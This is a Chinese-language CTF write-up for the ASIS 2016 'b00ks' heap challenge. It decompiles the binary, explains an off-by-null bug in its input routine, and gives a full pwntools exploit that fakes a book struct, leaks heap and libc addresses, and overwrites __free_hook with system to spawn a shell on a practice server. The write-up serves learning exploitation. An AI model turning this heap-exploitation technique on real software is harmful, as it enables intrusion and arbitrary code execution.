asis2016_b00ks

checksec

1
2
3
4
5
6
[*] '/home/yyyffff/桌面/b00ks'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled

IDA

(有些变量名是自己改过的)

main

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
__int64 __fastcall main(int a1, char **a2, char **a3)
{
struct _IO_FILE *v3; // rdi
int v5; // [rsp+1Ch] [rbp-4h]

setvbuf(stdout, 0LL, 2, 0LL);
v3 = stdin;
setvbuf(stdin, 0LL, 1, 0LL);
sub_A77(v3);
name(v3);
while ( 1 )
{
v5 = menu(v3);
if ( v5 == 6 )
break;
switch ( v5 )
{
case 1:
add(v3);
break;
case 2:
delete(v3);
break;
case 3:
edit(v3);
break;
case 4:
view(v3);
break;
case 5:
name(v3);
break;
default:
v3 = (struct _IO_FILE *)"Wrong option";
puts("Wrong option");
break;
}
}
puts("Thanks to use our library software");
return 0LL;
}

可以看到是一个菜单的题目

author

1
2
3
4
5
6
7
8
__int64 author()
{
printf("Enter author name: ");
if ( !(unsigned int)input(off_202018, 32) )
return 0LL;
printf("fail to read author_name");
return 1LL;
}

输入 author 到 off_202018,也就是 unk_202040 里面

input

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
__int64 __fastcall sub_9F5(_BYTE *a1, int a2)
{
int i; // [rsp+14h] [rbp-Ch]

if ( a2 <= 0 )
return 0LL;
for ( i = 0; ; ++i )
{
if ( (unsigned int)read(0, a1, 1uLL) != 1 )
return 1LL;
if ( *a1 == 0xA )
break;
++a1;
if ( i == a2 )
break;
}
*a1 = 0;
return 0LL;
}

a1 是目标地址,a2 是长度

由于循环从 0 到 a2 ,而且 i==a2 判断是在最后->退出循环是 a1 会超过一个字节,*a1=0 就会造成 off-by-null

add

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
__int64 add()
{
int len; // [rsp+0h] [rbp-20h] BYREF
int v2; // [rsp+4h] [rbp-1Ch]
void *book_struct; // [rsp+8h] [rbp-18h]
void *book_name; // [rsp+10h] [rbp-10h]
void *descri; // [rsp+18h] [rbp-8h]

len = 0;
printf("\nEnter book name size: ");
__isoc99_scanf("%d", &len);
if ( len < 0 )
goto LABEL_2;
printf("Enter book name (Max 32 chars): ");
book_name = malloc(len); // 为book的名字开辟空间,但貌似没有限制大小
if ( !book_name )
{
printf("unable to allocate enough space");
goto LABEL_17;
}
if ( (unsigned int)input(book_name, len - 1) )
{
printf("fail to read name");
goto LABEL_17;
}
len = 0;
printf("\nEnter book description size: ");
__isoc99_scanf("%d", &len);
if ( len < 0 )
{
LABEL_2:
printf("Malformed size");
}
else
{
descri = malloc(len);
if ( descri )
{
printf("Enter book description: ");
if ( (unsigned int)input(descri, len - 1) )
{
printf("Unable to read description");
}
else
{
v2 = sub_B24();
if ( v2 == -1 )
{
printf("Library is full");
}
else
{
book_struct = malloc(0x20uLL);
if ( book_struct )
{
*((_DWORD *)book_struct + 6) = len;//记录长度
*((_QWORD *)book_list + v2) = book_struct;//book_list存在bss段上,用来记录堆块
*((_QWORD *)book_struct + 2) = descri;//记录des指针
*((_QWORD *)book_struct + 1) = book_name;//记录name指针
*(_DWORD *)book_struct = ++unk_202024;// id,从1开始
return 0LL;
}
printf("Unable to allocate book struct");
}
}
}
else
{
printf("Fail to allocate memory");
}
}
LABEL_17:
if ( book_name )
free(book_name);
if ( descri )
free(descri);
if ( book_struct )
free(book_struct);
return 1LL;
}

可以看到首先创建 name 块,输入内容(长度-1,没有 off-by-null)

然后创建 des 块,同上

最后 malloc(0x30) 作为一个结构体记录堆块的信息

比如 add(0x10,b’aaaa’,0x10,b’aaa’)

而这个 book_list 在 bss 段的位置是 0x202060,与 name 就差了 0x20,也就是32,name 的长度,所以第一次我们将 name 填满(此时也发生溢出了,不过是先溢出后写入地址,所以无所谓),然后 add,再 view,就可以打印出第一个堆块的地址

delete

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
__int64 delete()
{
int v1; // [rsp+8h] [rbp-8h] BYREF
int i; // [rsp+Ch] [rbp-4h]
i = 0;
printf("Enter the book id you want to delete: ");
__isoc99_scanf("%d", &v1);
if ( v1 > 0 )
{
for ( i = 0; i <= 19 && (!*((_QWORD *)book_list + i) || **((_DWORD **)book_list + i) != v1); ++i )// 遍历一整个chunk_list直到找到第一个对应的id
;
if ( i != 20 )
{
free(*(void **)(*((_QWORD *)book_list + i) + 8LL));
free(*(void **)(*((_QWORD *)book_list + i) + 16LL));
free(*((void **)book_list + i));
*((_QWORD *)book_list + i) = 0LL;
return 0LL;
}
printf("Can't find selected book!");
}
else
{
printf("Wrong id");
}
return 1LL;
}

delete 按照 id 来寻找对应的结构体,然后 free 掉里面两个指针并置 0

for 循环就是遍历整个 book_list 直到找到第一个对应的 id

edit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
// 只可以更改des
__int64 edit()
{
int v1; // [rsp+8h] [rbp-8h] BYREF
int i; // [rsp+Ch] [rbp-4h]

printf("Enter the book id you want to edit: ");
__isoc99_scanf("%d", &v1);
if ( v1 > 0 )
{
for ( i = 0; i <= 19 && (!*((_QWORD *)book_list + i) || **((_DWORD **)book_list + i) != v1); ++i )
;
if ( i == 20 )
{
printf("Can't find selected book!");
}
else
{
printf("Enter new book description: ");
if ( !(unsigned int)input(
*(_BYTE **)(*((_QWORD *)book_list + i) + 16LL),
*(_DWORD *)(*((_QWORD *)book_list + i) + 24LL) - 1) )
return 0LL;
printf("Unable to read new description");
}
}
else
{
printf("Wrong id");
}
return 1LL;
}

同样是用 for 循环按 id 寻找到结构体,然后寻找到结构体里面的 des 指针,然后修改该指针里的内容

view

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
int view()
{
__int64 v0; // rax
int i; // [rsp+Ch] [rbp-4h]

for ( i = 0; i <= 19; ++i )
{
v0 = *((_QWORD *)book_list + i);
if ( v0 )
{
printf("ID: %d\n", **((unsigned int **)book_list + i));
printf("Name: %s\n", *(const char **)(*((_QWORD *)book_list + i) + 8LL));
printf("Description: %s\n", *(const char **)(*((_QWORD *)book_list + i) + 16LL));
LODWORD(v0) = printf("Author: %s\n", (const char *)off_202018);// 可泄露第一个堆地址
}
}
return v0;
}

遍历循环输出每个 book 的 name,des,以及作者

author

1
2
3
4
5
6
7
8
__int64 author()
{
printf("Enter author name: ");
if ( !(unsigned int)input(off_202018, 32) )
return 0LL;
printf("fail to read author_name");
return 1LL;
}

一个修改 author 的函数,当我们创建一个 book 在输入 0x20 的 author 即可将第一个 book_list 的第一个指针最后一字节修改为 0x00

漏洞

漏洞就在于我们可以利用 off-by-null 将第一个堆块低字节修改为 00,然后在这个0x00的地址上创建一个 fake_struct ,里面的指针我们都可以自己写,这样就可以对任意地址进行读和写了,最后可以打一个 __free_hook。至于 libc 基址,反正指针都是自己控制了,后面 free 掉再 view 就可以了

详细步骤:

  • 输入 author 后创建一个堆块,保证 book1_struct 的低字节改成0x00后的区域是我们可以写入的区域,同时 view 一次,泄露第一个堆块的地址(伪造指针的时候要用)
1
2
3
4
5
6
r.recvuntil("ame: ")
r.sendline(b'A'*(0x1f)+b'B')
add(0x90,b'aaaa',0x90,b'bbbb') # 1 这样构造可以保证struct的地址在0x.......1..附近,覆盖掉就是0x......100,落在第二个第二个book里面,可写
view()
r.recvuntil("AAAB")
heap_addr=u64(r.recv(6).ljust(8,b'\x00'))
  • 然后就是泄露 libc 基地址,将 fake_struct 的 name 指针改成 book2_name ,将其 des 改成 book3_struct(写 free_hook 要用到)id 写成 1,然后 delete(2) ,book2_name 里面就会是 unsortedbin 表头地址,由于 book1的已经被我们控制,此时 view() 就可以打印出 unsortedbin 表头地址,再计算即可得到一系列地址
1
2
3
4
5
6
7
8
9
10
11
12
13
add(0x80,b'to leak libabse',0x60,b'same') # 2
add(0x40,b'/bin/sh\x00',0x40,b'aaaa') # 3
print("heap0->",hex(heap_addr))
#pause()
edit(1,p64(0)*8+p64(1)+p64(heap_addr+0x30)+p64(heap_addr+0x1f0+0x10)+p64(0x80))
name(b'A'*32)
delete(2)
view()
r.recvuntil("Name: ")
unsortedbin=u64(r.recv(6).ljust(8,b'\x00'))
libcbase=unsortedbin-88-0x3c4b20
free_hook=libcbase+libc.sym['__free_hook']
system_addr=libcbase+libc.sym['system']
  • 然后就是打 __free_hook,由于我们将 fake_struct 的 des 改成了book3_struct,所以用这个指针在 book3_des 指针处写入 __free_hook,然后 edit(3) 就是写在 free_hook 上了,在上面写上 system 然后 delete(3),由于我们在 3 的 name 处写了 /bin/sh,而其又是最先 free 的,所以可以得到 flag
1
2
3
4
5
6
7
8
9
fake1=p64(3)
fake2=p64(heap_addr+0x160)
fake3=p64(free_hook)
fake4=p64(0x40)
edit(1,fake1+fake2+fake3+fake4)
edit(3,p64(system_addr))
delete(3)

r.interactive()

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
from pwn import *
context(arch='amd64',os='linux',log_level='debug')
#r=process('./b00ks')
r=remote("node5.buuoj.cn",27958)
elf=ELF('./b00ks')
libc=ELF('./libc-2.23.so')

def add(nsize,content1,dsize,content2):
r.recvuntil("> ")
r.sendline("1")
r.recvuntil("name size: ")
r.sendline(str(nsize))
r.recvuntil("rs): ")
r.sendline(content1)
r.recvuntil("size: ")
r.sendline(str(dsize))
r.recvuntil("book description: ")
r.sendline(content2)

def delete(idx):
r.recvuntil("> ")
r.sendline("2")
r.recvuntil("to delete: ")
r.sendline(str(idx))

def edit(idx,content):
r.recvuntil("> ")
r.sendline("3")
r.recvuntil("you want to edit: ")
r.sendline(str(idx))
r.recvuntil("new book description: ")
r.sendline(content)

def view():
r.recvuntil("> ")
r.sendline("4")

def name(content):
r.recvuntil("> ")
r.sendline("5")
r.recvuntil("author name: ")
r.sendline(content)

# 泄漏heap的地址
r.recvuntil("ame: ")
r.sendline(b'A'*(0x1f)+b'B')
add(0x90,b'aaaa',0x90,b'bbbb') # 1
view()
r.recvuntil("AAAB")
heap_addr=u64(r.recv(6).ljust(8,b'\x00'))


# 泄漏libc基址
add(0x80,b'to leak libabse',0x60,b'same') # 2
add(0x40,b'/bin/sh\x00',0x40,b'aaaa') # 3
print("heap0->",hex(heap_addr))
#pause()
edit(1,p64(0)*8+p64(1)+p64(heap_addr+0x30)+p64(heap_addr+0x1f0+0x10)+p64(0x80))
name(b'A'*32)
delete(2)
view()
r.recvuntil("Name: ")
unsortedbin=u64(r.recv(6).ljust(8,b'\x00'))
libcbase=unsortedbin-88-0x3c4b20
free_hook=libcbase+libc.sym['__free_hook']
system_addr=libcbase+libc.sym['system']
fake1=p64(3)
fake2=p64(heap_addr+0x160)
fake3=p64(free_hook)
fake4=p64(0x40)
edit(1,fake1+fake2+fake3+fake4)
edit(3,p64(system_addr))
delete(3)

r.interactive()


asis2016_b00ks
http://yyyffff.github.io/2025/07/23/asis2016-b00ks/
作者
yyyffff
发布于
2025年7月23日
许可协议